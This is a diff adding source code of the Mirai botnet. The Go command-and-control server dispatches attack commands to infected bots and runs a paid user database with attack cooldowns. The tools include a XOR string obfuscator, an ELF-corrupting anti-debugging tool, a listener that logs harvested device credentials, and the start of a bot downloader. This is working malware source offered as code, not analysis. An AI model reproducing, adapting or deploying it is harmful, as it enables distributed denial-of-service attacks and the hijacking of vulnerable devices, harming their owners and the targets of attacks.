flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1]
|
||||
fmt.Println(flagSplit[1])
|
||||
}
|
||||
if flagSplit[1] == "true" {
|
||||
flagSplit[1] = "1"
|
||||
} else if flagSplit[1] == "false" {
|
||||
flagSplit[1] = "0"
|
||||
}
|
||||
atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1]
|
||||
args = args[1:]
|
||||
}
|
||||
if len(atk.Flags) > 255 {
|
||||
return nil, errors.New("Cannot have more than 255 flags")
|
||||
}
|
||||
|
||||
return atk, nil
|
||||
}
|
||||
|
||||
func (this *Attack) Build() ([]byte, error) {
|
||||
buf := make([]byte, 0)
|
||||
var tmp []byte
|
||||
|
||||
// Add in attack duration
|
||||
tmp = make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(tmp, this.Duration)
|
||||
buf = append(buf, tmp...)
|
||||
|
||||
// Add in attack type
|
||||
buf = append(buf, byte(this.Type))
|
||||
|
||||
// Send number of targets
|
||||
buf = append(buf, byte(len(this.Targets)))
|
||||
|
||||
// Send targets
|
||||
for prefix,netmask := range this.Targets {
|
||||
tmp = make([]byte, 5)
|
||||
binary.BigEndian.PutUint32(tmp, prefix)
|
||||
tmp[4] = byte(netmask)
|
||||
buf = append(buf, tmp...)
|
||||
}
|
||||
|
||||
// Send number of flags
|
||||
buf = append(buf, byte(len(this.Flags)))
|
||||
|
||||
// Send flags
|
||||
for key,val := range this.Flags {
|
||||
tmp = make([]byte, 2)
|
||||
tmp[0] = key
|
||||
strbuf := []byte(val)
|
||||
if len(strbuf) > 255 {
|
||||
return nil, errors.New("Flag value cannot be more than 255 bytes!")
|
||||
}
|
||||
tmp[1] = uint8(len(strbuf))
|
||||
tmp = append(tmp, strbuf...)
|
||||
buf = append(buf, tmp...)
|
||||
}
|
||||
|
||||
// Specify the total length
|
||||
if len(buf) > 4096 {
|
||||
return nil, errors.New("Max buffer is 4096")
|
||||
}
|
||||
tmp = make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2))
|
||||
buf = append(tmp, buf...)
|
||||
|
||||
return buf, nil
|
||||
}
|
37
mirai/cnc/bot.go
Executable file
37
mirai/cnc/bot.go
Executable file
@ -0,0 +1,37 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Bot struct {
|
||||
uid int
|
||||
conn net.Conn
|
||||
version byte
|
||||
source string
|
||||
}
|
||||
|
||||
func NewBot(conn net.Conn, version byte, source string) *Bot {
|
||||
return &Bot{-1, conn, version, source}
|
||||
}
|
||||
|
||||
func (this *Bot) Handle() {
|
||||
clientList.AddClient(this)
|
||||
defer clientList.DelClient(this)
|
||||
|
||||
buf := make([]byte, 2)
|
||||
for {
|
||||
this.conn.SetDeadline(time.Now().Add(180 * time.Second))
|
||||
if n,err := this.conn.Read(buf); err != nil || n != len(buf) {
|
||||
return
|
||||
}
|
||||
if n,err := this.conn.Write(buf); err != nil || n != len(buf) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *Bot) QueueBuf(buf []byte) {
|
||||
this.conn.Write(buf)
|
||||
}
|
130
mirai/cnc/clientList.go
Executable file
130
mirai/cnc/clientList.go
Executable file
@ -0,0 +1,130 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"time"
|
||||
"math/rand"
|
||||
"sync"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type AttackSend struct {
|
||||
buf []byte
|
||||
count int
|
||||
botCata string
|
||||
}
|
||||
|
||||
type ClientList struct {
|
||||
uid int
|
||||
count int
|
||||
clients map[int]*Bot
|
||||
addQueue chan *Bot
|
||||
delQueue chan *Bot
|
||||
atkQueue chan *AttackSend
|
||||
totalCount chan int
|
||||
cntView chan int
|
||||
distViewReq chan int
|
||||
distViewRes chan map[string]int
|
||||
cntMutex *sync.Mutex
|
||||
}
|
||||
|
||||
func NewClientList() *ClientList {
|
||||
c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}}
|
||||
go c.worker()
|
||||
go c.fastCountWorker()
|
||||
return c
|
||||
}
|
||||
|
||||
func (this *ClientList) Count() int {
|
||||
this.cntMutex.Lock()
|
||||
defer this.cntMutex.Unlock()
|
||||
|
||||
this.cntView <- 0
|
||||
return <-this.cntView
|
||||
}
|
||||
|
||||
func (this *ClientList) Distribution() map[string]int {
|
||||
this.cntMutex.Lock()
|
||||
defer this.cntMutex.Unlock()
|
||||
this.distViewReq <- 0
|
||||
return <-this.distViewRes
|
||||
}
|
||||
|
||||
func (this *ClientList) AddClient(c *Bot) {
|
||||
this.addQueue <- c
|
||||
}
|
||||
|
||||
func (this *ClientList) DelClient(c *Bot) {
|
||||
this.delQueue <- c
|
||||
fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr())
|
||||
}
|
||||
|
||||
func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
|
||||
attack := &AttackSend{buf, maxbots, botCata}
|
||||
this.atkQueue <- attack
|
||||
}
|
||||
|
||||
func (this *ClientList) fastCountWorker() {
|
||||
for {
|
||||
select {
|
||||
case delta := <-this.totalCount:
|
||||
this.count += delta
|
||||
break
|
||||
case <-this.cntView:
|
||||
this.cntView <- this.count
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *ClientList) worker() {
|
||||
rand.Seed(time.Now().UTC().UnixNano())
|
||||
|
||||
for {
|
||||
select {
|
||||
case add := <-this.addQueue:
|
||||
this.totalCount <- 1
|
||||
this.uid++
|
||||
add.uid = this.uid
|
||||
this.clients[add.uid] = add
|
||||
break
|
||||
case del := <-this.delQueue:
|
||||
this.totalCount <- -1
|
||||
delete(this.clients, del.uid)
|
||||
break
|
||||
case atk := <-this.atkQueue:
|
||||
if atk.count == -1 {
|
||||
for _,v := range this.clients {
|
||||
if atk.botCata == "" || atk.botCata == v.source {
|
||||
v.QueueBuf(atk.buf)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
var count int
|
||||
for _, v := range this.clients {
|
||||
if count > atk.count {
|
||||
break
|
||||
}
|
||||
if atk.botCata == "" || atk.botCata == v.source {
|
||||
v.QueueBuf(atk.buf)
|
||||
count++
|
||||
}
|
||||
}
|
||||
}
|
||||
break
|
||||
case <-this.cntView:
|
||||
this.cntView <- this.count
|
||||
break
|
||||
case <-this.distViewReq:
|
||||
res := make(map[string]int)
|
||||
for _,v := range this.clients {
|
||||
if ok,_ := res[v.source]; ok > 0 {
|
||||
res[v.source]++
|
||||
} else {
|
||||
res[v.source] = 1
|
||||
}
|
||||
}
|
||||
this.distViewRes <- res
|
||||
}
|
||||
}
|
||||
}
|
||||
|
40
mirai/cnc/constants.go
Executable file
40
mirai/cnc/constants.go
Executable file
@ -0,0 +1,40 @@
|
||||
package main
|
||||
|
||||
const MiraiPrompt = `
|
||||
Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²±[0;31mÜ Ü[1;41m±²[40m[A
|
||||
[20C[40mß[41m²±[0;31mÜ Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m°±²[40m[A
|
||||
[37C[41m²Û[6C[0;31mÜ[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²[40m[A
|
||||
[58C[41m±[0;31mÜ Ü[1;41m±²[1C[0;31mÜ[1;41m°±²²Û[1C²±°°±²²[40m
|
||||
[30;41m°[31m°±[1C±° [1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C±[40m[A
|
||||
[22C[41m°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[9C[30m°[31m°±[40m[A
|
||||
[48C[1C[41m±°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C[30m°[40m[A
|
||||
[66C[41m[31m°±[6C[30m°[31m°±[40m
|
||||
[30;41m±°[31m°[1C[30m±°[31m°[1C[30m±°[31m°[1C[30m±° [1C±°[40m[A
|
||||
[19C[41m[31m°[1C[30m°° [1C±°[31m°[1C[30m±° [1C±°[31m°[9C[40m[A
|
||||
[45C[41m[30m±°[31m°[1C[30m±° [1C±°[31m°[1C[30m±° [1C±°[31m[40m[A
|
||||
[63C[41m°[1C[30m±°[31m°[6C[30m±°[31m°[40m
|
||||
[30;41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[40m[A
|
||||
[36C[9C[41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±°[6C²±°[40m
|
||||
[41mÛ²±[1C[40mÛÛ[41m²[1CÛ²±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²±[1C[40m[A
|
||||
[25C[40mÞ[41m²²[40mÝ Û[41m²°[9C[40mÞ[41m²²[40mÝ [41mÛ²[40m[A
|
||||
[55C[41m±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²°[6C[40mÛ[41m²°[40m
|
||||
ÛÛ[41m²[1C²Û[40mÛ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ [A
|
||||
[21C[41m²[40mÛ[41m²[2C[40mßÛ[41m²[40mÛÜ ÛÛ[41m²[40mÜÜ[8CßÛ[A
|
||||
[48C[41m²[40mÛÜ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ ÛÛ[A
|
||||
[67C[41m²[40mÜÜ ÛÛÛ
|
||||
²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ ßÛÛÛ ÛÛ²[12CßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²[6CÛÛÛ
|
||||
²[47mÛ[40m²[5C²Û² ²ÛÛ ÛÛ² ²ÛÛ[5CÛÛ² ÛÛ²[13CÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²[6C²ÛÛ
|
||||
±[47mÛ[40m²[5C²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²[9C±²Û ²Û² ²Û± ²Û² ²Û² ²Û²[A
|
||||
[68C[6C²Û²
|
||||
±[47mÛ[40m±[5C±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±[9C²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û±[A
|
||||
[68C[6C±Û±
|
||||
°[47mÛ[40m°[5C°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛ[6CßÛÛÜÛÛß °Û° °Û° °Û° °Û°[A
|
||||
[68C[6C°Û°
|
||||
|
||||
SYSOP: PIRATE PETE ú CUSTOMIZED PCB 15.1 ú CLASSIC GAMES/UTILS ARE[A
|
||||
[75CA
|
||||
NODES: 604-732-3233 ú NODES 2-4 604-NOT-4U! ú NODES 5-6 604-NOT-YET!
|
||||
2.1 GIGZ ONLINE[6Cú SYNDROME DISTRO SITE ú EXPERIENCED USERS ONLY
|
||||
|
||||
[19CANSI : THE MASKED PIRATEúIMPERIAL
|
||||
`
|
145
mirai/cnc/database.go
Executable file
145
mirai/cnc/database.go
Executable file
@ -0,0 +1,145 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"time"
|
||||
"errors"
|
||||
)
|
||||
|
||||
type Database struct {
|
||||
db *sql.DB
|
||||
}
|
||||
|
||||
type AccountInfo struct {
|
||||
username string
|
||||
maxBots int
|
||||
admin int
|
||||
}
|
||||
|
||||
func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {
|
||||
db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName))
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
fmt.Println("Mysql DB opened")
|
||||
return &Database{db}
|
||||
}
|
||||
|
||||
func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {
|
||||
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
defer rows.Close()
|
||||
if !rows.Next() {
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
var accInfo AccountInfo
|
||||
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
||||
return true, accInfo
|
||||
}
|
||||
|
||||
func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {
|
||||
rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false
|
||||
}
|
||||
if rows.Next() {
|
||||
return false
|
||||
}
|
||||
this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration)
|
||||
return true
|
||||
}
|
||||
|
||||
func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {
|
||||
rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var prefix string
|
||||
var netmask uint8
|
||||
rows.Scan(&prefix, &netmask)
|
||||
|
||||
// Parse prefix
|
||||
ip := net.ParseIP(prefix)
|
||||
ip = ip[12:]
|
||||
iWhitelistPrefix := binary.BigEndian.Uint32(ip)
|
||||
|
||||
for aPNetworkOrder, aN := range attack.Targets {
|
||||
rvBuf := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)
|
||||
iAttackPrefix := binary.BigEndian.Uint32(rvBuf)
|
||||
if aN > netmask { // Whitelist is less specific than attack target
|
||||
if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {
|
||||
return true
|
||||
}
|
||||
} else if aN < netmask { // Attack target is less specific than whitelist
|
||||
if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {
|
||||
return true
|
||||
}
|
||||
} else { // Both target and whitelist have same prefix
|
||||
if (iWhitelistPrefix == iAttackPrefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {
|
||||
rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username)
|
||||
defer rows.Close()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var userId, durationLimit, cooldown uint32
|
||||
if !rows.Next() {
|
||||
return false, errors.New("Your access has been terminated")
|
||||
}
|
||||
rows.Scan(&userId, &durationLimit, &cooldown)
|
||||
|
||||
if durationLimit != 0 && duration > durationLimit {
|
||||
return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit))
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
if allowConcurrent == 0 {
|
||||
rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if rows.Next() {
|
||||
var timeSent, historyDuration uint32
|
||||
rows.Scan(&timeSent, &historyDuration)
|
||||
return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))
|
||||
}
|
||||
}
|
||||
|
||||
this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {
|
||||
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
defer rows.Close()
|
||||
if !rows.Next() {
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
var accInfo AccountInfo
|
||||
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
||||
return true, accInfo
|
||||
}
|
113
mirai/cnc/main.go
Executable file
113
mirai/cnc/main.go
Executable file
@ -0,0 +1,113 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"errors"
|
||||
"time"
|
||||
)
|
||||
|
||||
const DatabaseAddr string = "127.0.0.1"
|
||||
const DatabaseUser string = "root"
|
||||
const DatabasePass string = "password"
|
||||
const DatabaseTable string = "mirai"
|
||||
|
||||
var clientList *ClientList = NewClientList()
|
||||
var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)
|
||||
|
||||
func main() {
|
||||
tel, err := net.Listen("tcp", "0.0.0.0:23")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
api, err := net.Listen("tcp", "0.0.0.0:101")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
for {
|
||||
conn, err := api.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go apiHandler(conn)
|
||||
}
|
||||
}()
|
||||
|
||||
for {
|
||||
conn, err := tel.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go initialHandler(conn)
|
||||
}
|
||||
|
||||
fmt.Println("Stopped accepting clients")
|
||||
}
|
||||
|
||||
func initialHandler(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(10 * time.Second))
|
||||
|
||||
buf := make([]byte, 32)
|
||||
l, err := conn.Read(buf)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
|
||||
if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
|
||||
if buf[3] > 0 {
|
||||
string_len := make([]byte, 1)
|
||||
l, err := conn.Read(string_len)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
var source string
|
||||
if string_len[0] > 0 {
|
||||
source_buf := make([]byte, string_len[0])
|
||||
l, err := conn.Read(source_buf)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
source = string(source_buf)
|
||||
}
|
||||
NewBot(conn, buf[3], source).Handle()
|
||||
} else {
|
||||
NewBot(conn, buf[3], "").Handle()
|
||||
}
|
||||
} else {
|
||||
NewAdmin(conn).Handle()
|
||||
}
|
||||
}
|
||||
|
||||
func apiHandler(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
NewApi(conn).Handle()
|
||||
}
|
||||
|
||||
func readXBytes(conn net.Conn, buf []byte) (error) {
|
||||
tl := 0
|
||||
|
||||
for tl < len(buf) {
|
||||
n, err := conn.Read(buf[tl:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n <= 0 {
|
||||
return errors.New("Connection closed unexpectedly")
|
||||
}
|
||||
tl += n
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func netshift(prefix uint32, netmask uint8) uint32 {
|
||||
return uint32(prefix >> (32 - netmask))
|
||||
}
|
1
mirai/prompt.txt
Executable file
1
mirai/prompt.txt
Executable file
@ -0,0 +1 @@
|
||||
я люблю куриные наггетсы
|
12
mirai/tools/badbot.c
Executable file
12
mirai/tools/badbot.c
Executable file
@ -0,0 +1,12 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char **args)
|
||||
{
|
||||
printf("REPORT %s:%s\n", "127.0.0.1", "80");
|
||||
|
||||
while (1)
|
||||
sleep(1);
|
||||
|
||||
return 0;
|
||||
}
|
101
mirai/tools/enc.c
Executable file
101
mirai/tools/enc.c
Executable file
@ -0,0 +1,101 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
static uint32_t table_key = 0xdeadbeef;
|
||||
|
||||
void *x(void *, int);
|
||||
|
||||
int main(int argc, char **args)
|
||||
{
|
||||
void *data;
|
||||
int len, i;
|
||||
|
||||
if (argc != 3)
|
||||
{
|
||||
printf("Usage: %s <string | ip | uint32 | uint16 | uint8 | bool> <data>\n", args[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (strcmp(args[1], "string") == 0)
|
||||
{
|
||||
data = args[2];
|
||||
len = strlen(args[2]) + 1;
|
||||
}
|
||||
else if (strcmp(args[1], "ip") == 0)
|
||||
{
|
||||
data = calloc(1, sizeof (uint32_t));
|
||||
*((uint32_t *)data) = inet_addr(args[2]);
|
||||
len = sizeof (uint32_t);
|
||||
}
|
||||
else if (strcmp(args[1], "uint32") == 0)
|
||||
{
|
||||
data = calloc(1, sizeof (uint32_t));
|
||||
*((uint32_t *)data) = htonl((uint32_t)atoi(args[2]));
|
||||
len = sizeof (uint32_t);
|
||||
}
|
||||
else if (strcmp(args[1], "uint16") == 0)
|
||||
{
|
||||
data = calloc(1, sizeof (uint16_t));
|
||||
*((uint16_t *)data) = htons((uint16_t)atoi(args[2]));
|
||||
len = sizeof (uint16_t);
|
||||
}
|
||||
else if (strcmp(args[1], "uint8") == 0)
|
||||
{
|
||||
data = calloc(1, sizeof (uint8_t));
|
||||
*((uint8_t *)data) = atoi(args[2]);
|
||||
len = sizeof (uint8_t);
|
||||
}
|
||||
else if (strcmp(args[1], "bool") == 0)
|
||||
{
|
||||
data = calloc(1, sizeof (char));
|
||||
if (strcmp(args[2], "false") == 0)
|
||||
((char *)data)[0] = 0;
|
||||
else if (strcmp(args[2], "true") == 0)
|
||||
((char *)data)[0] = 1;
|
||||
else
|
||||
{
|
||||
printf("Unknown value `%s` for datatype bool!\n", args[2]);
|
||||
return -1;
|
||||
}
|
||||
len = sizeof (char);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Unknown data type `%s`!\n", args[1]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Yes we are leaking memory, but the program is so
|
||||
// short lived that it doesn't really matter...
|
||||
printf("XOR'ing %d bytes of data...\n", len);
|
||||
data = x(data, len);
|
||||
for (i = 0; i < len; i++)
|
||||
printf("\\x%02X", ((unsigned char *)data)[i]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
void *x(void *_buf, int len)
|
||||
{
|
||||
unsigned char *buf = (char *)_buf, *out = malloc(len);
|
||||
int i;
|
||||
uint8_t k1 = table_key & 0xff,
|
||||
k2 = (table_key >> 8) & 0xff,
|
||||
k3 = (table_key >> 16) & 0xff,
|
||||
k4 = (table_key >> 24) & 0xff;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
char tmp = buf[i] ^ k1;
|
||||
|
||||
tmp ^= k2;
|
||||
tmp ^= k3;
|
||||
tmp ^= k4;
|
||||
|
||||
out[i] = tmp;
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
56
mirai/tools/nogdb.c
Executable file
56
mirai/tools/nogdb.c
Executable file
@ -0,0 +1,56 @@
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <elf.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/procfs.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
int f;
|
||||
static Elf32_Ehdr* header;
|
||||
|
||||
printf(".: Elf corrupt :.\n");
|
||||
|
||||
if(argc < 2){
|
||||
printf("Usage: %s file", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if((f = open(argv[1], O_RDWR)) < 0){
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
//MAP_SHARED is required to actually update the file
|
||||
if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){
|
||||
perror("mmap");
|
||||
close(f);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[*] Current header values:\n");
|
||||
printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n",
|
||||
header->e_shoff, header->e_shnum, header->e_shstrndx);
|
||||
|
||||
header->e_shoff = 0xffff;
|
||||
header->e_shnum = 0xffff;
|
||||
header->e_shstrndx = 0xffff;
|
||||
|
||||
printf("[*] Patched header values:\n");
|
||||
printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n",
|
||||
header->e_shoff, header->e_shnum, header->e_shstrndx);
|
||||
|
||||
if(msync(NULL, 0, MS_SYNC) == -1){
|
||||
perror("msync");
|
||||
close(f);
|
||||
return 1;
|
||||
}
|
||||
|
||||
close(f);
|
||||
munmap(header, 0);
|
||||
printf("You should no more be able to run \"%s\" inside GDB\n", argv[1]);
|
||||
return 0;
|
||||
}
|
95
mirai/tools/scanListen.go
Executable file
95
mirai/tools/scanListen.go
Executable file
@ -0,0 +1,95 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
l, err := net.Listen("tcp", "0.0.0.0:48101")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go handleConnection(conn)
|
||||
}
|
||||
}
|
||||
|
||||
func handleConnection(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
conn.SetDeadline(time.Now().Add(10 * time.Second))
|
||||
|
||||
bufChk, err := readXBytes(conn, 1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var ipInt uint32
|
||||
var portInt uint16
|
||||
|
||||
if bufChk[0] == 0 {
|
||||
ipBuf, err := readXBytes(conn, 4)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ipInt = binary.BigEndian.Uint32(ipBuf)
|
||||
|
||||
portBuf, err := readXBytes(conn, 2)
|
||||
if err != nil {
|
||||
return;
|
||||
}
|
||||
|
||||
portInt = binary.BigEndian.Uint16(portBuf)
|
||||
} else {
|
||||
ipBuf, err := readXBytes(conn, 3)
|
||||
if err != nil {
|
||||
return;
|
||||
}
|
||||
ipBuf = append(bufChk, ipBuf...)
|
||||
|
||||
ipInt = binary.BigEndian.Uint32(ipBuf)
|
||||
|
||||
portInt = 23
|
||||
}
|
||||
|
||||
uLenBuf, err := readXBytes(conn, 1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0])))
|
||||
|
||||
pLenBuf, err := readXBytes(conn, 1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0])))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf))
|
||||
}
|
||||
|
||||
func readXBytes(conn net.Conn, amount int) ([]byte, error) {
|
||||
buf := make([]byte, amount)
|
||||
tl := 0
|
||||
|
||||
for tl < amount {
|
||||
rd, err := conn.Read(buf[tl:])
|
||||
if err != nil || rd <= 0 {
|
||||
return nil, errors.New("Failed to read")
|
||||
}
|
||||
tl += rd
|
||||
}
|
||||
|
||||
return buf, nil
|
||||
}
|
1024
mirai/tools/single_load.c
Executable file
1024
mirai/tools/single_load.c
Executable file
File diff suppressed because it is too large
Load Diff
183
mirai/tools/wget.c
Executable file
183
mirai/tools/wget.c
Executable file
@ -0,0 +1,183 @@
|
||||
#include <sys/types.h>
|
||||
//#include <bits/syscalls.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <string.h>
|
||||
|
||||
#define EXEC_MSG "MIRAI\n"
|
||||
#define EXEC_MSG_LEN 6
|
||||
|
||||
#define DOWNLOAD_MSG "FIN\n"
|
||||
#define DOWNLOAD_MSG_LEN 4
|
||||
|
||||
#define STDIN 0
|
||||
#define STDOUT 1
|
||||
#define STDERR 2
|
||||
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
#define HTONS(n) (n)
|
||||
#define HTONL(n) (n)
|
||||
#elif BYTE_ORDER == LITTLE_ENDIAN
|
||||
#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8))
|
||||
#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \
|
||||
((((unsigned long)(n) & 0xff00)) << 8) | \
|
||||
((((unsigned long)(n) & 0xff0000)) >> 8) | \
|
||||
((((unsigned long)(n) & 0xff000000)) >> 24))
|
||||
#else
|
||||
#error "Fix byteorder"
|
||||
#endif
|
||||
|
||||
#ifdef __ARM_EABI__
|
||||
#define SCN(n) ((n) & 0xfffff)
|
||||
#else
|
||||
#define SCN(n) (n)
